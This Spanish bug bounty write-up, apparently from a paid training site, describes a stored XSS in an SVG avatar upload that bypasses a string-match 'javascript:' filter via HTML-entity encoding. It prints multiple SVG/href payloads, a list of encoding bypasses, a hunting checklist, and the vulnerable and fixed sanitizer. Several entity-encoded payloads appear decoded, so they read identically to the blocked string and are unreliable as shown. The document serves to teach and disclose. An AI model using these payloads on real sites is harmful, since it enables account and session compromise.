Respuesta rápida
Reporte real de stored XSS de €1200 en una aplicación POE (Proof-of-Existence). El sanitizer del backend tenía fix superficial post-incidente previo: filtrado de string literal javascript: pero no de variantes con HTML entity encoding. Bypass final: SVG embedded con <a href="javascript:alert()"> — el : (entity de :) pasa el filtro como string, pero el browser lo decodifica al renderizar → ejecución. Lección: filtros basados en string match son débiles, los sanitizers serios (DOMPurify v3+) parsean el DOM y filtran a nivel atributo/protocolo.
El contexto — POE app con avatar SVG upload
La app permitía subir avatar SVG (vector → escala mejor que PNG). Sanitización a nivel backend con Python bleach library, con whitelist custom:
allowed_tags = ["svg", "path", "circle", "rect", "polygon", "a", "g"]
allowed_attrs = {"*": ["fill", "stroke", "d", "href", "transform"]}
Eras tan ingenuo como cualquier dev: si pasa el filter → render directo en <div class="avatar"> con innerHTML. ¿Qué podía salir mal?
Primer attempt — SVG onload
Payload obvio:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<circle r="40" cx="50" cy="50" fill="red"/>
</svg>
Backend stripea onload (no está en allowed_attrs). Render limpio sin XSS.
Segundo attempt — <script> embedded
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Backend stripea <script> (no en allowed_tags).
Tercer attempt — <a href="javascript:">
Aquí es donde se pone interesante:
<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(document.domain)">
<circle r="40" cx="50" cy="50" fill="red"/>
</a>
</svg>
Backend pasaba <a> y href (ambos whitelisted), pero detectaba javascript: y lo stripeaba:
def clean_href(value):
if "javascript:" in value.lower():
return ""
return value
Naive string match. Aquí está el bug del fix.
El bypass — HTML entity encoding
HTML acepta entity encoding en atributos. : puede escribirse :, :, ::
<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(document.domain)">
<circle r="40" cx="50" cy="50" fill="red"/>
</a>
</svg>
Por qué funciona
- Backend sanitizer ve el atributo
href="javascript:alert(...)"como string. Buscajavascript:literal en lowercase. No matchea (el caracter es:, no:). Pasa el filter. - Browser parsea el HTML/SVG. Al ver
:dentro de un atributo HTML, lo decodifica a:. El atributo final, internamente, eshref="javascript:alert(...)". - User clica el SVG → browser ejecuta
javascript:URL → XSS en contexto del domain.
[!info] Doble decodificación HTML decoding ocurre antes de la interpretación del valor del atributo. Cualquier filter que matchea contra el string raw del atributo está roto si no decodifica entities primero.
Variantes que también pasaban
<!-- decimal entity -->
href="javascript:alert(1)"
<!-- hex entity -->
href="javascript:alert(1)"
<!-- named entity -->
href="javascript:alert(1)"
<!-- tab escape -->
href="java	script:alert(1)"
<!-- newline escape -->
href="java script:alert(1)"
<!-- case + entity mix -->
href="jaVaSCRipt:alert(1)"
Cualquiera de estas pasaba el filter.
<!-- PAYWALL -->Por qué <a> dentro de SVG funciona
SVG soporta <a> como elemento hyperlink (xlink:href en SVG 1.x, href en SVG 2). El <a> envuelve un <circle> (o cualquier shape) → toda la región del shape es clickable. La URL del href se procesa al click.
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<a xlink:href="javascript:alert(1)">
<rect width="100" height="100"/>
</a>
</svg>
xlink:href es deprecated pero browsers todavía lo soportan → otra forma de bypass si el sanitizer solo busca href literal.
Auto-click vector
SVG <animate> permite auto-disparar acciones — combinado con <a> + entity encoded URL puede ser zero-click si el browser permite el animation trigger en SVG estándalone:
<svg>
<a href="javascript:alert(1)">
<set attributeName="href" to="..." begin="0s"/>
</a>
</svg>
En la app POE específica, el avatar se renderiza pero no se "anima" → el bypass requería click manual del user. Aún así, severity High porque era stored y reproducible para cualquier viewer del perfil.
El report — escribir el bypass
El report fue conciso, foco en el bypass del fix:
## Summary
The sanitization fix for prior XSS issue (string-match of `javascript:`)
is bypassable via HTML entity encoding of the colon character.
## Steps to reproduce
1. Upload SVG avatar with content:
<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(document.domain)">
<circle r="40" cx="50" cy="50" fill="red"/>
</a>
</svg>
2. Server accepts (filter does not detect : as `:`)
3. Visit attacker profile → click avatar → JS executes in target.com origin
## Root cause
sanitizer.py:clean_href() string-matches against `javascript:` in raw input
but HTML entities (: → `:`) decode at render time.
## Recommended fix
Use DOM-based sanitization (DOMPurify, bleach with css_sanitizer) which
parses HTML/SVG and filters at protocol level (rejecting any javascript:
URI scheme regardless of encoding).
Severity argumentation
- Stored: ✓ (avatar persistente en perfil).
- Cross-user: ✓ (cualquier viewer del perfil).
- Auth context: ✓ (cookies de la víctima al ejecutar).
- Same-origin: ✓ (avatar se sirve desde target.com).
CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N → 8.7 High.
Reward: €1.200.
El fix correcto
El equipo de seguridad respondió:
# Before (vulnerable)
def clean_href(value):
if "javascript:" in value.lower():
return ""
return value
# After (correct)
from urllib.parse import urlparse
import html
def clean_href(value):
# Decode HTML entities first
decoded = html.unescape(value)
# Parse URL and check scheme
try:
parsed = urlparse(decoded)
if parsed.scheme.lower() in ("javascript", "data", "vbscript", "file"):
return ""
except Exception:
return ""
return value
Decodifica entities antes de comparar + check del scheme parseado contra allowlist explícita.
Patrones generalizables
Cualquier filter basado en string match es bypaseable
Si el sanitizer hace "javascript:" in input, busca:
- Entity encoding:
:,:,: - URL encoding:
%3A(en URL context) - Whitespace tricks:
java\tscript:,java\nscript: - Case variation:
JaVaScRiPt: - Backslash escapes (algunos parsers):
\j\a\v\a\s\c\r\i\p\t:
SVG es la mina de oro para XSS bypass
SVG es XML embebido en HTML — los parsers a veces difieren. Lista de elementos abusables:
| Elemento | Vector |
|---|---|
<svg onload> | Direct |
<svg><script> | Embedded JS |
<svg><a href="js:"> | Link-based |
<svg><foreignObject><iframe> | Embedded HTML |
<svg><animate> + animateTransform | Time-based |
<svg><use href="data:..."> | xlink data URI |
Whitelist insuficiente sin context
Permitir <a href> parece seguro — pero href acepta javascript:, data:, file:. Whitelist tiene que ser per-attribute y per-protocol, no per-tag.
Hunting checklist
- SVG upload endpoints — siempre probar SVG payloads.
- Sanitizer-based apps: identifica qué library usan (bleach, DOMPurify, sanitize-html), versión + config.
- String-match filters: bypass con entity encoding, case, whitespace.
-
<a>conhref: pruebajavascript:,data:text/html,...,vbscript:. - Variantes encoding:
:,:,:,%3A. - xlink:href en SVG si solo filtran
href. - Where is render?
innerHTML(XSS) vs<img>(limited) vs sandboxed<iframe>(mitigated). - Stored vs reflected: el SVG persiste en avatar/profile?
- Auto-trigger possible?
<animate>,<set>,onload(si pasa). - Documenta bypass del fix anterior con énfasis (incrementa bounty).
Labs relacionados
Practica SVG XSS, sanitizer bypass y entity encoding en labs de stored XSS.
Practica esto en un lab
Stored Xss Svg Href Javascript
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
Los 7 patterns de SVG que bypassean DOMPurify cuando el sanitizer está mal configurado — todos detectables en <30 segundos con Burp.
5 €/mes · cancela cuando quieras
Artículos relacionados
Stored XSS vía SVG con href javascript: en chat — reclasificación de Self-XSS
Un payload SVG subido como adjunto. Filtro bypassed. Renderizado inline en el contexto principal. Cualquier participante del chat queda expuesto al click.
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
DOM clobbering — override de variables globales JS para bypassear sanitizers
Cómo usar DOM clobbering (name/id collisions) para sobrescribir variables JS globales y bypassear sanitizers como DOMPurify, achivar XSS donde innerHTML está bloqueado por defecto.